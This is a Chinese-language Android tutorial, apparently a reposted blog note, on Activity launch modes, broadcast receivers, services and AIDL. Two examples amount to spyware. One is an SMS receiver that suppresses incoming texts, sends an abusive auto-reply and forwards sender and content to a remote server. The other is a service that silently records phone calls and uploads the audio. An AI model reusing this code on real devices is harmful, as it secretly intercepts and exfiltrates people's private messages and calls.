Android基础总结.doc(第六节、Activity组件的启动模式、广播、服务组件 )

来源:互联网 发布:武汉淘宝摄影 编辑:程序博客网 时间:2024/06/06 09:08

作者:韩亚飞_yue31313_韩梦飞沙 QQ:313134555


第一节、  Activity组件的启动模式、广播、服务组件

一、知识概括

1、Activity的启动模式

2、广播的操作方式及应用

3、服务的操作以及应用

二、知识总结

1、Activity的启动模式

什么是activity

Activity对象在Android中就是代表一个页面的对象, 在该对象中, 保存了当前页面的所有元素的

              数据信息...包括布局、字体大小、颜色、边距等等等数据

 

              当系统中存在多个页面的时候, Android系统就会把这些代表页面的Activity对象都放入栈中进行

              管理...

 

              因此, 如果通过意图等方法打开一个新的Activity的时候, 如果该Activity已经在栈中存在了, 这

              时候是重新创建一个呢, 还是把已经存在的Activity调整到栈的最顶端并显示, 还是销毁栈顶端的

              Activity,直到需要的Activity在栈的最顶端为止..这就需要我们在创建Activity的时候指定

              Activity的启动模式

      

2、屏幕切换时的处理:四种启动模式

Anctivity有四种启动模式么,这些启动模式都要在清单文件中的activity节点的属性节点中设置。

              a)standard: 标准启动模式, 当使用意图(Intent)等方法启动一个Activity的时候, 就创建一个

                     新的Activity, 并放入栈的最顶端

             

              b)singleTop: 单例模式, 如果当前栈顶是新创建的Activity时, 就不创建新的Activity, 而是

                     直接调用栈顶的这个Activity...如果栈顶不是当前需要的Activity时, 就创建一个...

                     (这就是说, 在栈中不可能出现AA这样连续的Activity对象序列)

             

              c)singleTask: 单例模式, 如果当前系统中不存在当前需要的Activity时, 就创建一个新的

                     Activity放入最顶端...如果存在的话, 就把位于栈中的这个Activity之上的所有Activity

                     全部销毁, 然后调用这个Activity并显示

             

              d)singleInstance: 单例模式, 如果当前系统中不存在当前需要的Activity时, 就创建一个新的..

                     如果存在所需要的Activity时, 就把系统中存在的Activity从栈中提取出来, 然后放入栈的

                     最顶端

 android:configChanges="keyboardHidden|orientation"

通过这个方法可以使屏幕切换的时候数据不会重现被设置。相当于切换的时候activity不会再重启。只有在同一个应用的时候有效。

 

3、Activity内存管理

       当系统中内存不足时, 会优先销毁哪些Activity呢?

       a)最先销毁的是"空状态的Activity"...空状态指的是已经从Android系统中退出的Activity的状态,但是系统为了下次打开方便, 还会保持着这个Activity的进程在系统中...但是这个进程中已经没有太多实际的数据了, 因此当内存不足的时候, 优先删除的就是处于"空状态的Activity"...如果系统中存在多个空状态的Activity的话, 就会按照进程生成的先后, 越早创建的优先删除.

b) 第二个销毁的是出于"停止状态"的后台Activity这样的进程一般是由于当前Activity之上被另一个Activity完全覆盖了(比如在一个界面上浏览时, 有人打了个电话进来,Activity跳转到接电话的界面)...这时候当前Activity就变成后台Activity了

c) 再接着就是出于暂停状态的Activity...这里删除的是暂停状态的Activity, 如果在该Activity之上的那个小窗口是开启了多线程的话, 这个子线程会被删除???(会的, 但如果这个小窗口是另外一个进程的话, 就不会了)

d) 最后是进程中正在运行的Activity了

4、Activity的细节

              在Activity中是不适合做一些太耗时的操作的

原因:

              a)如果在Activity的主线程中直接执行这个耗时的操作的话, 就会造成界面假死, 报告ANR异常, 造成用户体验很差

              b)如果在当前Activity的主线程中创建一个子线程单独操作的话,也是不合适的...因为用户一般在点击玩操作按钮后, 就退回桌面进行其他的操作了...这时候当前线程就处于停止或者"空进程"状态, 虽然这时候子线程还是会进行的...但比如播放音乐或者下载东西这类耗时的操作,可能会持续很久, 而这个过程中可能系统会因为内存不足就把这些进程给删除了, 这就导致任务的失败...

 

 

5、广播接收者

广播接收者主要负责监听一些具有广播数据的消息机制的应用。

1. 如何定义一个广播接收者?

              方法1:

                     a) 编写一个类继承BroadcastReceiver, 并覆写其中的onReceive方法, 在该方法中编写自己的业务逻辑代码

             

              b) 在配置清单中进行注册...

                     在Application节点下生命一个<receive>节点,

                     在<receive>节点下添加"android:priority"来指定当前接收者的优先权...

在<receive>节点下添加<action>子节点, 用来指定当前"接受者"所接收的广播的类型

如果想要接收的广播类型在定义的时候指定了需要的权限, 则需要在配置清单中申请该权限,才可以接收该广播并进行操作.

                            例子:

                                   <uses-permissoinandroid:name="android.permission.RECEIVE_SMS" />

                                   <application

                                          android:icon="@drawable/ic_launcher"

                                          android:name="@string/app_name">

                                          <receiverandroid:name=.MyReceiver">

                                                 <intent-filter>

                                                        //这里指定接收的广播类型...

                                                        //广播类型既可以是系统广播, 也可以是自己创建的广播

                                   <actionandroid:name="android.provider.Telephony.SMS_RECEIVED"/>

                                                 </intent-filter>

                                          </receiver>

                                   </application>

 

                     c) 在a)和b)完成之后, 就已经完成广播接收者的全部编写了...这时候就等着系统发送广播,然后由广播接受者接收广播, 并执行onReceive()方法了...

 

其实这里广播接收者的概念我上面那句话是不太准确的, 实际上应该是, 当我们编写完一个广播接收者之后, 就在系统中注册了这个广播接受者, 而当系统开始发出一个广播的时候, 就开始根据sendBroadcast(string action,string permission)中指定的action和

                            permission来扫描有哪些广播接收者注册了对这个广播的接收...然后依次像这些调用这些广播接受者的接收方法(onReceive)来处理发出的广播信息

             

              方法2

                     使用ContentWrapper.registerReceive()方法来注册BroadcastReceive

两种注册广播接收者的区别:

1. 清单文件里注册:  一旦应用程序被部署到手机, 广播接受者就会生效

 

2. 代码里面注册: 一旦代码所在的进程被杀死了,广播接受者就失效了.

1)广播的分类

广播接受者分为两种类型:

1. 有序的广播. 短信到来的广播 电话拨打的广播

-1000~1000  设置广播的优先级 

 android:priority="1000"

 

从高优先级->低优先级 依次传递

abortbroadcast()方法  可以终止广播事件

 

 

2. 无序广播.

没有优先级任何人 注册广播接受者的人,都可以接收到广播.

没有abortboradcast()方法

 

sendBroadcast(intent);// 发送一条广播

sendOrderedBroadcast(intent,receiverPermission); // 发送一条有序广播

如果发送广播的时候使用的sendOrderedBroadcast(intent,receiverPermission, resultReceiver, scheduler, initialCode, initialData,initialExtras)这个pi发送出去的广播,方法中的第三个参数 resultReceiver 指定了广播的接受者的话,即便是中间我把广播给终止 abortbroadcast(),resultReceiver还是会接受到广播时间

实例1:广播接收者监听短信

清单文件设置

权限声明:

<uses-permissionandroid:name="android.permission.RECEIVE_SMS"/>

          <uses-permissionandroid:name="android.permission.INTERNET"/>

         <uses-permissionandroid:name="android.permission.SEND_SMS"/>

注册:

<receiver android:name=".SmsReceiver">

              <intent-filterandroid:priority="1000">

                  <actionandroid:name="android.provider.Telephony.SMS_RECEIVED"/>

                </intent-filter> 

        </receiver>

public class SmsReceiver extendsBroadcastReceiver {

 

       //当接受到短信的时候 

       //android.provider.Telephony.SMS_RECEIVED

       @Override

       publicvoid onReceive(Context context, Intent intent) {

              //阻塞时间超过10秒 很容易anr 异常

              System.out.println("threadname ="+Thread.currentThread().getName());

              //intent 存放的有接收到的短信的内容

              Object[]pdus =  (Object[])intent.getExtras().get("pdus");

              for(Objectpdu:pdus){

                     SmsMessagemessage  =SmsMessage.createFromPdu((byte[])pdu);

                     //获取短信的正文内容

                     finalString content = message.getMessageBody();

                     //获取短信的发送者

                     finalString address = message.getOriginatingAddress();

                     System.out.println(content);

                     System.out.println(address);

                     //把收到短信的系统的广播事件给结束

                     if("15555215556".equals(address)){

                            abortBroadcast();

                            SmsManagermanager = SmsManager.getDefault();

                            manager.sendTextMessage(address,null, "ni qu siba ,wo yijing xihuan le xxx", null, null);}

                     //因为广播接受者的生命周期非常的短,广播接受者所在的进程很有可能会别系统回收

                     //子线程也会被销毁. 过长的子线程操作可以重新放到一个service中运行

                  new Thread(){

                            @Override

                            publicvoid run() {

                                   String     path="http://192.168.1.247:8080/web/SmsServlet?address="

+address+"&content="+content;

                                   try{

                                          URLurl = new URL(path);

                                   HttpURLConnectionconn = (HttpURLConnection) url.openConnection();

                                          conn.setRequestMethod("GET");

                                          conn.setConnectTimeout(5000);

                                          System.out.println(conn.getResponseCode());

                                   }catch (Exception e) {e.printStackTrace();}

                                   super.run();}}.start();}}}

 

实例2:IpcCall

public class OutGoingCallReceiver extendsBroadcastReceiver {

 

              publicvoid onReceive(Context context, Intent intent) {

                     System.out.println(getResultData());

                     //abortBroadcast();  中断广播接收者的广播

                     SharedPreferencessp = context

.getSharedPreferences("config",Context.MODE_PRIVATE);

                      String ipnumber =sp.getString("ipnumber", "");

                      setResultData(ipnumber+getResultData());}}

6、service服务组件

服务有一个特点: 只会一次oncreate()方法一旦被创建出来,以后oncreate() 就不会再被执行了,以后再去开启服务 只会执行onstart()方法当服务被停止的时候  onDestroy();

 

服务的开启与停止

1服务可以通过startservice的方法 :

服务可以通过startservice的方法 开启 通过stopservice的方法 停止

普通的开启方式,使用这种方式开启的服务,服务一旦开启与调用者没有任何的关系 , 调用着的activity 即便是退出了 也不会影响,后台的service的运行.

在activity里面 不能去调用服务里面的方法 .

2、服务通过bindservice的方法开启

activity里面可以去调用服务里面的方法 .

首先如果服务不存在 就会执行 oncreate() ->onbind()方法,一旦服务绑定成功以后再去执行 bindsercie() 就不会在重新创建 或者绑定服务了();

 

如果我们现实的调用unbindservice()的方法首先 on unbind()方法 -> ondestroy() ;服务只能被解除绑定一次 多次解除绑定服务 程序会出异常.

通过绑定方式开启服务(bindservice)

服务跟调用者不求同生 ,但求同死.如果调用者(activity)退出了 那他绑定的服务呢 也会跟着退出.

7、案例演示说明:通话录音上传服务器

权限声明:

<uses-permissionandroid:name="android.permission.READ_PHONE_STATE"/>

    <uses-permissionandroid:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>

    <uses-permissionandroid:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

    <uses-permissionandroid:name="android.permission.RECORD_AUDIO"/>

    <uses-permissionandroid:name="android.permission.INTERNET"/>

清单注册:

<serviceandroid:name=".PhoneListenService"></service>

public class PhoneListenService extendsService {

 

       //activity receiver contentprovider

       publicIBinder onBind(Intent intent) {

              returnnull;

       }

       在服务第一次被创建的时候 执行

       publicvoid onCreate() {

              super.onCreate();

              setForeground(true);

             

              //1. 判断当前手机的状态,

              //如果发现手机处于 通话状态

              //创建一个录音器, 录下来用户的通话信息

              //当发现手机再次处于 idle状态 停止录音机,把音频文件 上传到服务器

              //得到手机与电话状态相关的服务

              TelephonyManagermanager = (TelephonyManager) this

                            .getSystemService(TELEPHONY_SERVICE);

              //this.getSystemService(WIFI_SERVICE);

              manager.listen(newMyPhoneListener(),

                            PhoneStateListener.LISTEN_CALL_STATE);

              System.out.println("线程id "+Thread.currentThread().getName());

       }

       privateclass MyPhoneListener extends PhoneStateListener {

              MediaRecorderrecorder = null;

       当电话的通话状态发生改变的时候 被调用的方法

              publicvoid onCallStateChanged(int state, String incomingNumber) {

                     try{

                            switch(state) {

                            caseTelephonyManager.CALL_STATE_IDLE: // 当前电话处于闲置状态

                                   System.out.println("当前电话处于闲置状态 ");

                                  

                                   //判断下recorder是否为空

                                   if(recorder!=null){

                                          recorder.stop();

                                          recorder.release();// Now the object cannot be reused

                                          recorder= null;

                                         

                                          newThread(){

                                                 publicvoid run() {

                                                        //上传数据到服务器  演示的代码  有问题的

                                                        Filefile = new File("/sdcard/temp.3gp");

                                                        try{

                                                               upload(file);

                                                        }catch (Exception e) {

                                                               e.printStackTrace();}}}.start();}

                                                               break;

                            caseTelephonyManager.CALL_STATE_RINGING: // 当前电话处于零响状态

                                   System.out.println("电话号码为 " + incomingNumber);

                                   break;

                            caseTelephonyManager.CALL_STATE_OFFHOOK: // 当前电话处于接听状态

                                   System.out.println("当前电话处于通话状态 ");

                                   //初始化一个录音器,

                                   recorder= new MediaRecorder();

                                   recorder.setAudioSource(MediaRecorder.AudioSource.MIC);

                                   recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);

                                   recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

                                   //recorder.setOutputFile("sdcard/temp.3gp");

//                                 Filefile = new File("/sdcard/temp.3gp");

//                                 FileOutputStreamfos = new FileOutputStream(file);

//                                 fos.write("haha".getBytes());

                                   recorder.setOutputFile("/sdcard/temp.3gp");

                                   recorder.prepare();

 

                                   recorder.start();// Recording is now started

                                   break;}

                     }catch (Exception e) {

                            e.printStackTrace();}

                     super.onCallStateChanged(state,incomingNumber);

              }}

       publicvoid upload(File file) throws Exception{

              //实例化上传数据的 数组 part []

              Part[]parts = {new FilePart("file",file)};

             

                            PostMethod    filePost =       new  PostMethod(

"http://192.168.1.247:8080/web/LoginServlet");

              filePost.setRequestEntity(new       MultipartRequestEntity(parts,                                                                                                                                           filePost.getParams()));

                            HttpClientclient = new HttpClient();

                       client.getHttpConnectionManager().getParams()

                                                         .setConnectionTimeout(5000);

              intstatus = client.executeMethod(filePost);

              if(status==200)

{System.out.println("上传成功");}

              else{

throw new IllegalStateException("服务器状态异常");}}}

 

服务必须在主线程运行,所以不能含有耗时的操作。

通过setForeground()方法设置服务的优先级

8、Aidl访问外部服务中的方法

1、aidl技术使用目的

在ServcieConnection的onServiceConnected()方法中, 将Service对象中的onBind()方法传回的IBinder对象强转成自定义的接口InvokeInterface,,,但是因为Activity和Service是在两个Android应用中的, 因此即使在编写源代码的时候, 在整个工程目录下建立了相同的包名、相同的接口名、接口文件中编写的内容完全一模一样..但是因为这是两个程序, 因此在系统中维护的字节码文件也是不同的...因此在Activity无法将Service对象中的实现了InvokeInterface的IBinder

              对象强转成Activity中的InvokeInterface类型...

              要解决这个问题, 就需要使用到Android中的aidl技术..

      

       2.aidl的编写步骤

a) 首先保持Activity中自定义的InvokeInterface的包名、文件名、文件内容和Service中的接口完全一致...

b) 把InvokeInterface接口的.java后缀修改成.aidl...之后Eclipse就会自动吧aidl编译成一个新的.java文件, 并在InvokeInterface接口中创建一个子类Stub, 在Stub中有InvokeInterface种的所有方法, 并且使用该aidl文件生成的.java文件, 在不同的Android应用程序中, 都是引用同一份字节码文件的.

       修改之前文件中引用InvokeInterface的地方, 改成引用InvokeInterface.Stub、

 

       注意!!!.aidl文件中的修饰符都不要...所有的public都要去掉

9、本地和外部应用的内部方法访问

1.要想访问 一个服务里面的方法 我们需要用到 bindservice();

   一创建一个服务 这个服务里面有一个要被调用的方法.

   二定义一个接口IService , 接口里面的抽象方法 就是去调用service里面的方法

   三定义一个mybinder对象 extends IBinder对象 实现 我们声明的接口IService, 在onbind方法里面把mybinder返回回去

   四在activity里面 通过bindservice的方法开启服务

   五创建出来一个我们MyConn 实现 ServiceConnection接口 onserviceConnected的方法这个方法会有一个参数 这个参数就是 MyBinder的对象

   六把mybinder强制类型转化成 IServcie

   七调用IService里面的方法

 

 

2.要想访问一个远程服务里的方法 需要用到aidl

             一创建一个服务 这个服务里面有一个要被调用的方法.

             二定义一个接口IService , 接口里面的抽象方法 就是去调用service里面的方法把.java的后缀名改成aidl 把接口里面定义的访问权限的修饰符都给删除

            三定义一个mybinder对象 extends IService.Stub, 在onbind方法里面把mybinder返回回去

            四在activity里面 通过bindservice的方法开启服务

            五创建出来一个我们MyConn 实现 ServiceConnection接口 onserviceConnected的方法这个方法会有一个参数 这个参数就是 MyBinder的对象

           六 IService = IService.Stub.asInterface(myBinder)

           七  调用IService的方法


0 0
原创粉丝点击